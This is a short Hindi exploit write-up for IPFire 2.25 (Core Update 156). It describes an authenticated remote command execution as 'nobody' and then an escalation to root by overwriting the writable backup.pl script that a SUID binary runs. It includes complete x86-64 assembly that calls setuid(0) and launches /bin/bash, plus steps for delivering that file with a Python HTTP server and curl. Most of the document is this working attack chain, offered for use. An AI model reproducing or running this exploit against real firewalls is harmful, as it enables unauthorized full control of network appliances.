Ipfire 2-25 (core update 156) प्रमाणित RCE

• किसी भी पैकेज को इंस्टॉल करते समय सिस्टम कमांड चलाता है

• सिस्टम सिर्फ HTML से 7zip प्राप्त करता है

• और tmp निर्देशिका की जाँच करें

• संस्करण 2.25 - कोर अपडेट 156

• ipfire लॉगिन के बाद nobody के रूप में मनमाना OS कमांड चलाने की अनुमति देता है

रूट बनें!

• suid बाइनरी की जाँच करें

• बैकअप प्रोग्राम एक और स्क्रिप्ट चलाता है। /var/ipfire/backup/bin/backup.pl (यह एक bash स्क्रिप्ट है और अनुमति काफी अच्छी है)

• bash स्क्रिप्ट में लिखने का प्रयास करें। (कोई त्रुटि नहीं। बढ़िया!)

• bash चलाने का प्रयास करें

• हाँ, हम चला सकते हैं लेकिन यह निम्न-विशेषाधिकार वाला है। हमें setuid(0) को ट्रिगर करना होगा!
• इसे सहेजें और alti name.asm q चलाएँ
• alti, soo_deep रिपॉजिटरी में मेरा अपना compile-check प्रोग्राम है।

bits 64
section .data
  string db "/bin/bash",0x00
  olmadis db "basarisiz.",0x0a,0x00
  olmadil equ $-olmadis
section .text
  global main
main:
  mov rax,105
  mov rdi,0
  syscall
  cmp rax,0
  je getbash

  mov rax,1
  mov rdi,1
  mov rsi,olmadis
  mov rdx,olmadil
  syscall

  mov rax,60
  xor rdi,rdi
  syscall

getbash:
  mov rax,59
  mov rdi,string
  mov rsi,0
  mov rdx,0
  syscall

• और नए प्रोग्राम को /var/ipfire/backup/bin/backup.pl पर लिखें। (हम python http server और curl का उपयोग करके लिख सकते हैं)

• और रूट शेल का आनंद लें!